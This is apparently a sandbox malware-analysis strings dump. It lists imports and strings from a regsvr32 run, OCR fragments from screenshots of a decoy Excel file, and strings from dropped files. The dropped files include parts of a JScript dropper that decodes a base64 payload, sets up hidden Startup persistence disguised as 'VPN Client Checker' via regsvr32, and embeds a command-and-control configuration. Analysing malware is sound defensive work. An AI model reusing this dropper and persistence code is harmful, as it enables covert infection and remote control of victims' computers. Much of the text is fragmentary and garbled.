Corporation. All rights reserved.
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
Operating System
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
/n must be used with the /i switch
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
0x%08lx
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
6.1.7600.16385
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
600.16385 (win7_rtm.090713-1255)
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
=$=(=
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
?terminate@@YAXXZ
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
\regsvr32.exe
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__argc
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__p__commode
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__p__fmode
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__set_app_type
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__setusermatherr
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__wargv
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
__wgetmainargs
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_amsg_exit
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_cexit
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_controlfp
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_except_handler4_common
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_exit
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_initterm
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_wcmdln
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_wsplitpath_s
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_XcptFilter
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
ADVAPI32.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
AutoRegister
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
CharNextW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
CloseHandle
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
COMCTL32.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
CompanyName
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
CreateFileW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
CreateProcessW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
DllInstall
Ansi based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
DllRegisterServer
Ansi based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
DllRegisterServerEx
Ansi based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
DllRegisterServerExW
Ansi based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
DllUnregisterServer
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
en-US
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
Excessive # of DLL's on cmdline
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
FormatMessageW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
FreeLibrary
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
galCopyright
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
GetCommandLineW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetCurrentProcess
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetCurrentProcessId
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetCurrentThreadId
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetExitCodeProcess
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetLastError
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetModuleHandleA
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetModuleHandleW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetNativeSystemInfo
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetProcAddress
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetStartupInfoW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetSystemDirectoryW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetSystemTimeAsFileTime
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetTickCount
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
HeapSetInformation
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
InterlockedCompareExchange
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
InterlockedExchange
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
IsWow64Process
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
KERNEL32.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
LoadLibraryExW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
LoadStringW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
LocalAlloc
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
lstrcmpW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
lstrlenW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
memset
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
msvcrt.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
nregisterServer
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.254000.00000004.mdmp)
ntdll.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
NtSetInformationProcess
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
ole32.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
OleInitialize
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
OleUninitialize
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
ProductName
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
QueryPerformanceCounter
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
ReadFile
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
RegCloseKey
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
RegOpenKeyExW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
RegQueryValueW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
RegSvr32
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
regsvr32.pdb
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
ription
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
RtlImageNtHeader
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
SetErrorMode
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
SetFilePointer
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
SetProcessDPIAware
Ansi based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
SetUnhandledExceptionFilter
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
Sleep
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
soft(C) Register Server
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
strcat_s
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
StringFileInfo
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
swprintf_s
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
TerminateProcess
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
Translation
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
UnhandledExceptionFilter
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
user32.dll
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
USER32.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
version="1.0" encoding="UTF-8" standalone="yes"?>... Copyright (c) Microsoft Corporation --><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="5.1.0.0" processorArchitecture="x86" name="Microsoft.Windows.RegSvr32" type="win32"/><description>Microsoft Register Server</description><dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" publicKeyToken="6595b64144ccf1df" processorArchitecture="x86" language="*" /> </dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false" /> </requestedPrivileges> </security></trustInfo></assembly>
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
VS_VERSION_INFO
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
WaitForSingleObject
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
wcscat_s
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
wcscpy_s
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
wcsncpy_s
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
WideCharToMultiByte
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
Wow64EnableWow64FsRedirection
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
??_?_______________r__
Ansi based on Image Processing (screen_0.png)
_____cu__?___
Ansi based on Image Processing (screen_0.png)
-_''L'_tChin
Ansi based on Image Processing (screen_1.png)
._-._._.
Ansi based on Image Processing (screen_1.png)
.___.
Ansi based on Image Processing (screen_1.png)
0_____
Ansi based on Image Processing (screen_1.png)
_.Ut__i'hlin
Ansi based on Image Processing (screen_1.png)
_::_::_'l
Ansi based on Image Processing (screen_1.png)
___.ltTabillit'_rnlatiirin
Ansi based on Image Processing (screen_1.png)
_______,____
Ansi based on Image Processing (screen_1.png)
___________
Ansi based on Image Processing (screen_1.png)
Einf_gin
Ansi based on Image Processing (screen_1.png)
Eintuin
Ansi based on Image Processing (screen_1.png)
Filtirn
Ansi based on Image Processing (screen_1.png)
zillin
Ansi based on Image Processing (screen_1.png)
+o'oo
Ansi based on Image Processing (screen_2.png)
._...__.0.t..
Ansi based on Image Processing (screen_2.png)
___.__Taba__a1___n_a1ia_an
Ansi based on Image Processing (screen_2.png)
______
Ansi based on Image Processing (screen_2.png)
______.__
Ansi based on Image Processing (screen_2.png)
Aucrichtung
Ansi based on Image Processing (screen_2.png)
F0rmah0r_agin
Ansi based on Image Processing (screen_2.png)
Schrmart
Ansi based on Image Processing (screen_2.png)
0______
Ansi based on Image Processing (screen_3.png)
',:__::',:_::',:_
Ansi based on Image Processing (screen_4.png)
,...,
Ansi based on Image Processing (screen_4.png)
,o_,o
Ansi based on Image Processing (screen_4.png)
-_'_L,__chan
Ansi based on Image Processing (screen_4.png)
-_-_-_--_-ll__-__-_l_
Ansi based on Image Processing (screen_4.png)
._...__._.t..
Ansi based on Image Processing (screen_4.png)
0_______
Ansi based on Image Processing (screen_4.png)
_,____
Ansi based on Image Processing (screen_4.png)
_.utvv_'hlan
Ansi based on Image Processing (screen_4.png)
__'Laan'_rnlav'_ra9an
Ansi based on Image Processing (screen_4.png)
___.__Taba__a1__rn_a1iaran
Ansi based on Image Processing (screen_4.png)
_____
Ansi based on Image Processing (screen_4.png)
______._._
Ansi based on Image Processing (screen_4.png)
_F'_rnlat
Ansi based on Image Processing (screen_4.png)
_o'oo
Ansi based on Image Processing (screen_4.png)
Ancicht
Ansi based on Image Processing (screen_4.png)
Au_richtung
Ansi based on Image Processing (screen_4.png)
Bgarbg_gn
Ansi based on Image Processing (screen_4.png)
Biri_
Ansi based on Image Processing (screen_4.png)
Datin
Ansi based on Image Processing (screen_4.png)
Einf_9in
Ansi based on Image Processing (screen_4.png)
EintU9an
Ansi based on Image Processing (screen_4.png)
F0rmah0rlagin
Ansi based on Image Processing (screen_4.png)
F0rmiln
Ansi based on Image Processing (screen_4.png)
iibirpr_in
Ansi based on Image Processing (screen_4.png)
Micr0s0__cel
Ansi based on Image Processing (screen_4.png)
S__kiaran
Ansi based on Image Processing (screen_4.png)
Schrmak
Ansi based on Image Processing (screen_4.png)
Si_inl_0ut
Ansi based on Image Processing (screen_4.png)
Suchanun_
Ansi based on Image Processing (screen_4.png)
un_filtarn
Ansi based on Image Processing (screen_4.png)
zg__gn
Ansi based on Image Processing (screen_4.png)
Zwi_chinablagi
Ansi based on Image Processing (screen_4.png)
_____g__
Ansi based on Image Processing (screen_5.png)
!This program cannot be run in DOS mode.$
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
%s\%s.tmp
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIActiveScriptSite@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIActiveScriptSiteWindow@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIDispatch@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIProvideClassInfo2@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIProvideClassInfo@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIProvideMultipleClassInfo@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIUnknown@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIWScript@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AVMyActiveScriptSite@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AVtype_info@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AVWScript@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.text
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
101H1
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
7,7<7@7
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
??1type_info@@UAE@XZ
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
??2@YAPAXI@Z
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
??3@YAXPAX@Z
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
@.data
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
@.reloc
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
__dllonexit
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
_adjust_fdiv
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
_onexit
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
_stricmp
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
_wcsicmp
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
`.rdata
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
AdjustTokenPrivileges
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
andle
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
CLSIDFromProgID
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
CoCreateInstance
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
CoInitialize
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
CommandLineToArgvW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
CoUninitialize
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
CreateEnvironmentBlock
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
CreateProcessAsUserW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
DestroyEnvironmentBlock
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
dwMillisecondsWW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
ExitProcess
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GetFileAttributesW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GetFileSize
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GetModuleFileNameW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GetTempPathW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GetUserNameA
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GlobalAlloc
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GlobalFree
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
IWScript
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
JScript
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
LookupPrivilegeValueW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
lpTextWW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
lstrcmpiW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
malloc
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
MSVCRT.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
MultiByteToWideChar
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
OLEAUT32.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
OpenProcessToken
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
OutputDebugStringA
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
OutputDebugStringW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
ProcessIdToSessionId
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
s\%s~%d
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
SEDll_Win32.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
SHELL32.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
SHLWAPI.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
StringFromCLSID
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
StrStrIW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
TYPELIB
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
USERENV.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
vr32 /s "%s" DR __CIM__
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
WriteFile
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
WScript
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
WScriptW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
wsprintfW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
WTSAPI32.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
WTSGetActiveConsoleSessionId
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
WTSQueryUserToken
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
AppData + '\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'];
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff]
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff]
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c3 = base64DecodeChars[c3]
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c3 = str.charCodeAt(i++) & 0xff;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c4 = base64DecodeChars[c4]
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c4 = str.charCodeAt(i++) & 0xff;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
cls();
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
clsCode='oFS.DeleteFile(\'C:\\\\9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.xls\');oFS.MoveFile(\'C:\\\\Users\\\\PSPUBWS\\\\AppData\\\\Local\\\\Temp\\\\9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.xls\',\'C:\\\\\'); oApp.ShellExecute(\'C:\\\\9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.xls\', \'\', \'\', \'open\', 3);';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
for (i = 0; i < stDirs.length; i++)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
for(i = 0; i < 3; i++)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
function base64decode(str)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
function cls()
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
i = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c1 == -1) break;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c2 == -1) break;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c3 == -1) break;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c3 == 61) return out;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c4 == -1) break;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c4 == 61) return out;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (oFS.FolderExists(stDirs[i]))
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
len = str.length;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
link.Arguments = '/s "'+tempDir+'\\'+randName+'.dll"';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
link.Description = 'VPN Client Checker';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
link.TargetPath = 'regsvr32';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
link.WindowStyle = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
oFile.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
oFile.Write(base64decode(JSCode));
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
out += String.fromCharCode(((c2 & 0xF) << 4) | ((c3 & 0x3C) >> 2));
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
out += String.fromCharCode(((c3 & 0x03) << 6) | c4)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4));
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
out = "";
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
oWS = new ActiveXObject('WScript.shell'); oFS = new ActiveXObject('Scripting.FileSystemObject'); oApp = new ActiveXObject('Shell.Application');
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
oWS.run('regsvr32 /s "'+tempDir+'\\'+randName+'.dll"', 0);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
randName='~HFYJEZHM';JSCode='dmFyIG9yej0NCnsNCgliRGVidWcgOiBmYWxzZSwNCgliRGVsZXRlU2VsZiA6IGZhbHNlLA0KCWVyckxvZ0ZpbGVQYXRoIDogJycsDQoJDQoJYk11dGV4IDogZmFsc2UsDQoJbXV0ZXhGaWxlTmFtZSA6ICdfeG11dGV4XycsDQoJbXV0ZXhGaWxlUGF0aCA6ICcnLA0KCW11dGV4RmlsZSA6IG51bGwsDQoJDQoJYkZvcmV2ZXJUcnkgOiB0cnVlLA0KCXJldHJ5SW50ZXJ2YWwgOiAxMDAwKjYwKjI1LA0KCXJldHJ5VGltZSA6IDMsDQoJYkZpcnN0VHJ5IDogdHJ1ZSwNCgkNCglpbml0VXJsIDogJ2Fib3V0OmJsYW5rJywNCglqbXBVcmw6ICcnLA0KCWptcFVybExpc3QgOiBbJ2h0dHBzOi8vc29jaWFsLnRlY2huZXQubWljcm9zb2Z0LmNvbS9Qcm9maWxlL3RlY2huZXR4dWtiYWt1cHNlJywnaHR0cHM6Ly9zb2NpYWwudGVjaG5ldC5taWNyb3NvZnQuY29tL1Byb2ZpbGUvdGVjaG5ldHh1aycsJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vUmpONGFQWWInXSwNCglqbXBSZWdleCA6IC9sa2hkPT1hZD1uZiguKj8pPWxramY9a24vLA0KCWNvZGVSZWdleCA6IC9oZD04N2RzKC4qPyk9ZGRmaGsvLA0KCWluaXRDb2RlIDogJycsDQoJZHN0VXJsIDogJycsDQoJDQoJbG9naW5Gb3JtSWQgOiAnbG9naW5Gb3JtJywNCglsb2dpbkFjdGlvbiA6ICdhamF4LnBocCcsDQoJdUlkIDogJ3VzZXJuYW1lJywNCglwSWQgOiAncGFzc3dvcmQnLA0KCXZJZCA6ICd2YWxpY29kZScsDQoJc0lkIDogJ3N1Ym1pdCcsDQoJdU5hbWUgOiAndXNlcm5hbWUnLA0KCXBOYW1lIDogJ3Bhc3N3b3JkJywNCgl2TmFtZSA6ICd2YWxpY29kZScsDQoJdmFsaWNvZGUgOiAnb21lZ2EnLA0KCXdvcmtGbGFnSWQgOiAnd29ya0ZsYWcnLA0KCXdvcmtGbGFnWWVzIDogJ1knLA0KCXdvcmtGbGFnTm8gOiAnTicsDQoJaWRsZVNlY29uZEJlZm9yZUZyZXNoIDogNjAqMzAsDQoJDQoJY2FzZVJlYXV0aCA6ICdyZWF1dGgnLA0KCWNhc2VFeGVjQ21kIDogJ3h4eCcsDQoJY2FzZURvd25GaWxlIDogJ2RkZCcsDQoJY2FzZVVwRmlsZSA6ICd1dXUnLA0KCWNhc2VDb2RlIDogJ2NjYycsDQoJY2FzZURvd25GaWxlRGF0YSA6ICdkZHQnLA0KCXNwbGl0Q2hhciA6ICd8JywNCgkNCglkb3duRmlsZSA6ICcnLA0KCWRvd25TdGFydCA6ICcnLA0KCWRvd25FbmQgOiAn